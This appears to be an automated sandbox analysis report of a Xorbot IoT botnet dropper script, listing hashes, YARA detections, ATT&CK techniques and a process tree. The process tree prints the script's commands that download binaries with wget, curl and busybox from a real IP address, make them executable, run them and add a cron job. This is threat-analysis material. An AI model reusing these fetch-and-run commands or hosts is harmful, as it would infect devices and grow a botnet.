xorbot | f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417

Analysis

max time kernel
96s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240729-en
resource tags

arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
28/02/2025, 05:02

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General

Target

bins.sh
Size

10KB
MD5

33f9f0f790d74a4b0e288f22161d11f1
SHA1

d294310cfdb18d6bcf63b4c0e60995ca5fe42203
SHA256

f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417
SHA512

27a99c4022a5750dfb7b1a80c8ae67e01a4ab6f58d02e6aa1483cda88160c3408556bfd5dc0637112b91444d544f6afc5a69fcaf1d70224c27d952fabc694be6
SSDEEP

192:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN9237QEkcFWyxl9Fm/D4a:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN92S

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (815) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
748	chmod
756	chmod
765	chmod
794	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	749	bins.sh
/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	757	bins.sh
/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT	767	bins.sh
/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN	795	bins.sh

Renames itself 1 IoCs

pid	Process
796	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.RVYv1n	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1028/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/22/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/924/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/971/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/976/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1036/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1040/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/864/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/869/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/930/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/984/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1066/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/809/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/897/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1008/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/496/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/824/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/935/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/20/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/718/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/923/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/966/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1012/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/715/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/844/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/901/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1039/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/887/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/891/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/938/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1031/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1034/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/206/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/725/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/895/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/919/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/922/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/990/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1016/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1021/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/893/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/918/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/940/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/880/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/17/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/911/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1005/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/11/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/348/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/671/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/682/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/852/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/902/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/906/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/908/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/882/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/967/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1029/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1043/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/82/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/1058/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/4/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/239/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
File opened for reading	/proc/870/cmdline	gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN	curl
File opened for modification	/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN	busybox
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	wget
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	curl
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	busybox
File opened for modification	/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT	curl
File opened for modification	/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT	busybox
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	busybox
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	wget
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	curl
File opened for modification	/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT	wget
File opened for modification	/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:718
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:722
- /usr/bin/wget
  wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:724
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  ./XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  PID:749
- /bin/rm
  rm XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  PID:751
- /usr/bin/wget
  wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Writes file to tmp directory
  PID:753
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod 777 PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  ./PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:757
- /bin/rm
  rm PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:759
- /usr/bin/wget
  wget http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - Writes file to tmp directory
  PID:760
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  ./jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  PID:767
- /bin/rm
  rm jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  PID:770
- /usr/bin/wget
  wget http://37.44.238.88/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  - Writes file to tmp directory
  PID:771
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  - Writes file to tmp directory
  PID:780
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  ./gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:795
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:797
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:798
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:801
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:802
- /bin/rm
  rm gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN
  2⤵
  PID:809
- /usr/bin/wget
  wget http://37.44.238.88/bins/H11TJvLrCzY1ljoKMMJAJaiTL7lrqZf6Fs
  2⤵
  PID:813

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/gruoaxGMgRQZWO5yOwdvfvD5o4SVNgL1MN

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.RVYv1n

Filesize
210B

MD5
51bbafeecd9f8cc3d3fe2d9f9809ea44

SHA1
561ac40d8823241c1d4a3409dacdee682c6f7bc3

SHA256
a40b93985719b36627ca7657c463ee7d8d485707e4c6491d441d52fe5b072b7b

SHA512
c73120183a269bdb5660ec0164e38bb1e86959fd2a01d022c93f8ff80e705ed4b2e3080216df42d4f1e28255fc34b10bd4604caa0fe12cfc99d522c1a6b20374

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads